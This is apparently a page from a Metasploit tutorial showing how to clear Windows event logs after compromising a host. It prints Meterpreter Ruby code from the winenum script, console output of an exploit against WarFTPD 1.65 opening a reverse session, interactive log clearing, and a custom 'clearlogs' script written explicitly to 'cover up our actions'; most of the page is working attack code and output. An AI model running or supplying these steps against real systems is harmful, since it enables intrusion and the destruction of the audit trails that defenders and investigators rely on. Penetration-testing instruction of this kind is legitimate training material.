Event Log Management a11y.text Event Log Management Sometimes itâ€™s best to not have your activities logged. Whatever the reason, you may find a circumstance where you need to clear away the windows event logs. Looking at the source for the winenum script, located in scripts/meterpreter , we can see the way this function works. def clrevtlgs()

```
 evtlogs = [
  'security',
  'system',
  'application',
  'directory service',
  'dns server',
  'file replication service'
 ]
 print_status("Clearing Event Logs, this will leave and event 517")
 begin
  evtlogs.each do |evl|
   print_status("\tClearing the #{evl} Event Log")
   log = @client.sys.eventlog.open(evl)
   log.clear
   file_local_write(@dest,"Cleared the #{evl} Event Log")
  end
  print_status("All Event Logs have been cleared")
 rescue ::Exception => e
  print_status("Error clearing Event Log: #{e.class} #{e}")


 end
```

end Letâ€™s look at a scenario where we need to clear the event log, but instead of using a

premade script to do the work for us, we will use the power of the ruby interpreter in Meterpreter to clear the logs on the fly. First, letâ€™s see our Windows â€˜Systemâ€™ event log. Now, letâ€™s exploit the system and manually clear away the logs. We will model our command off of the winenum script. Running log = client.sys.eventlog.open(â€˜systemâ€™) will open up the system log for us. msf exploit(warftpd_165_user) > exploit

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Connecting to FTP server 172.16.104.145:21...

[*] Connected to target FTP server.

[*] Trying target Windows 2000 SP0-SP4 English...

[*] Transmitting intermediate stager for over-sized stage...(191 bytes)

[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (75787 bytes)...

[*] Upload completed.

[*] Meterpreter session 2 opened (172.16.104.130:4444 -> 172.16.104.145:1246)

meterpreter > irb

[*] Starting IRB shell

[*] The 'client' variable holds the meterpreter client

>> log = client.sys.eventlog.open('system')

=> #>#:0xb6779424 @client=#>, #>, #

"windows/browser/facebook_extractiptc"=>#,

"windows/antivirus/trendmicro_serverprotect_earthagent"=>#,

"windows/browser/ie_iscomponentinstalled"=>#, "windows/exec/reverse_ord_tcp"=>#, "windows/http/apache_chunked"=>#, "windows/imap/novell_netmail_append"=># Now weâ€™ll see if we can clear out the log by running log.clear . >> log.clear => #>#:0xb6779424 @client=#>,

/trendmicro_serverprotect_earthagent"=>#, "windows/browser/ie_iscomponentinstalled"=>#, "windows/exec/reverse_ord_tcp"=>#, "windows/http/apache_chunked"=>#, "windows/imap/novell_netmail_append"=># Letâ€™s see if it worked. Success! We could now take this further, and create our own script for clearing away event logs. # Clears Windows Event Logs

```
evtlogs = [
        'security',
        'system',
        'application',
        'directory service',
        'dns server',
        'file replication service'
        ]
print_line("Clearing Event Logs, this will leave an event 517")
evtlogs.each do |evl|
        print_status("Clearing the #{evl} Event Log")
        log = client.sys.eventlog.open(evl)
        log.clear
end
print_line("All Clear! You are a Ninja!")
```

After writing our script, we place it in

/usr/share/metasploit-framework/scripts/meterpreter/ . Then, letâ€™s re-exploit the system and see if it works. msf exploit(warftpd_165_user) > exploit

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Connecting to FTP server 172.16.104.145:21...

[*] Connected to target FTP server.

[*] Trying target Windows 2000 SP0-SP4 English...

[*] Transmitting intermediate stager for over-sized stage...(191 bytes)

[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (75787 bytes)...

[*] Upload completed.

[*] Meterpreter session 1 opened (172.16.104.130:4444 -> 172.16.104.145:1253)

meterpreter > run clearlogs

Clearing Event Logs, this will leave an event 517

[*] Clearing the security Event Log

[*] Clearing the system Event Log

[*] Clearing the application Event Log

[*] Clearing the directory service Event Log

[*] Clearing the dns server Event Log

[*] Clearing the file replication service Event Log

All Clear! You are a Ninja!

meterpreter > exit And the only event left in the log on the system is the expected 517. This is the power of Meterpreter. Without much background other than some sample code we have taken from

another script, we have created a useful tool to help us cover up our actions. Next Fun with Incognito Prev PSExec Pass the Hash